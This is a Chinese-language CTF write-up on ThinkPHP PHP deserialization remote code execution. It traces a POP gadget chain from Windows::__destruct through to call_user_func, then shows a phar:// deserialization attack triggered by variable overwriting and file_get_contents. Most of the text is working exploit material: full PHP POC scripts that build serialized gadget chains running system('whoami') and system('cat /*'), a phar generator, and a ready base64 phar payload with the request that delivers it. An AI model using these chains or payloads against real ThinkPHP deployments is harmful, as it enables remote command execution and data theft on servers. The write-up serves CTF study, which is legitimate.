题目为简单的反序列化RCE

分析上面的两条pop chain
发现从
think\console\Output->write
开始调用了不同类里的write函数
把第一条pop chain改用第二条pop chain think\cache\dirver\Memcached->write后面的链子
分析调用过程
利用 Windows::desturct作为入口
进入removeFiles函数
利用file_exists触发**Merge::toString
进入toJson函数
进入toArray函数
利用toArray函数 816行代码 进入HasMany::call函数
进入$this->baseQuery函数
利用283行代码 进入Output::call方法
进入block函数
继续跟进

这里进入Memcached::write函数
进入Memcache::set函数
进入95行代码中has函数
利用66行代码 进入Request::get函数
进入input函数
利用1012行代码进入filterValue**函数
利用call_user_func完成RCE
调用栈过程如下
POC如下:
<?phpnamespace think\process\pipes;class Windows{private $files = [];public function __construct(){$this->files[0]=new \think\Model\Merge();}}namespace think;class Model{}class Request{protected $get = ['huahua' => 'whoami'];protected $filter = ['system', 'huahua'];}namespace think\model\relation;use think\console\Output;use think\db\Query;use think\model\Pivot;use think\model\Relation;class HasMany extends Relation{//protected $baseQuery=true;protected $parent;protected $localKey='a';protected $foreignKey='a';public function __construct(){$this->query=new Output();$this->parent= new Pivot();}}namespace think\model;use think\Model;class Pivot extends Model{public $a='1';}namespace think\model;class Relation{}namespace think\model;use think\model\relation\HasMany;class Merge extends \think\Model{protected $relation = [];protected $append = [];public function __construct(){$this->append[1]=array(1);$this->relation[1]=new HasMany();}}namespace think\console;use think\session\driver\Memcached;class Output{protected $styles = ['info','error','comment','question','highlight','warning','getTable','where'];private $handle = null;public function __construct(){$this->handle =(new Memcached);}}namespace think\session\driver;use think\cache\driver\Memcache;class Memcached{protected $handler;protected $config = ['session_name' => '//','expire' => '1'];function __construct(){$this->handler = (new Memcache);}}namespace think\cache\driver;use think\Request;class Memcache{protected $handler;protected $tag = 1;protected $options = ['prefix' => 'huahua/'];function __construct(){$this->handler = new Request();}}$o = new \think\process\pipes\Windows();echo urlencode(serialize($o));?>
EZTP[安洵杯]
访问/www.zip 发现源码泄露 下载下来审计
TP框架
变量覆盖+file_get_contents
构造
/index.php/Index/index/hello
world=aHVhaHVh%26a=php://filter/read=convert.base64-encode/resource=hello.txt
达到变量覆盖目的
那我们如何利用呢?
看一张图
file_get_contents函数 支持phar协议 可导致反序列化
网上找一条tp5.1.37的链子
<?phpnamespace think {class Request{protected $hook = [];protected $config = [];protected $filter;protected $param = [];public function __construct(){$this->filter = 'system';$this->param = ['cat /*'];$this->hook = ['visible' => [$this, 'isAjax']];$this->config = ['var_ajax' => ''];}}abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ['Th0r' => ['a']];$this->data = ['Th0r' => new Request()];}}}namespace think\model {use think\Model;use think\Request;class Pivot extends Model{}}namespace think\process\pipes {use think\model\Pivot;class Pipes{}class Windows extends Pipes{private $files = [];function __construct(){$this->files = [new Pivot()];}}}namespace {use think\process\pipes\Windows;$phar = new Phar("phar1.phar"); //后缀名必须为phar,压缩后的文件名$phar->startBuffering();$phar->setStub(" __HALT_COMPILER(); ?>"); //设置stub$o = new Windows();// $o->data = 'hu3sky';$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("hello.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)//签名自动计算$phar->stopBuffering();// echo base64_encode(serialize(new Windows));}
生成phar文件后 利用file_get_contents函数将内容读取出来进行写入
<?phpecho urlencode(base64_encode(file_get_contents('./phar1.phar')));?>//IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K1QEAAAEAAAARAAAAAQAAAAAAngEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo2OiJjYXQgLyoiO319fX19fQkAAABoZWxsby50eHQEAAAAQe6hYQQAAAAMfn%2FYtgEAAAAAAAB0ZXN0eB%2F7Y0qwi8NoRd1R8Nz6%2FdDr83wCAAAAR0JNQg%3D%3D
构造payloadworld=hello=IF9fSEFMVF9DT01QSUxFUigpOyA%2FPg0K1QEAAAEAAAARAAAAAQAAAAAAngEAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiVGgwciI7YToxOntpOjA7czoxOiJhIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiVGgwciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6NDp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YToxOntpOjA7czo2OiJjYXQgLyoiO319fX19fQkAAABoZWxsby50eHQEAAAAQe6hYQQAAAAMfn%2FYtgEAAAAAAAB0ZXN0eB%2F7Y0qwi8NoRd1R8Nz6%2FdDr83wCAAAAR0JNQg%3D%3D%26a=phar://hello.txt
成功读取
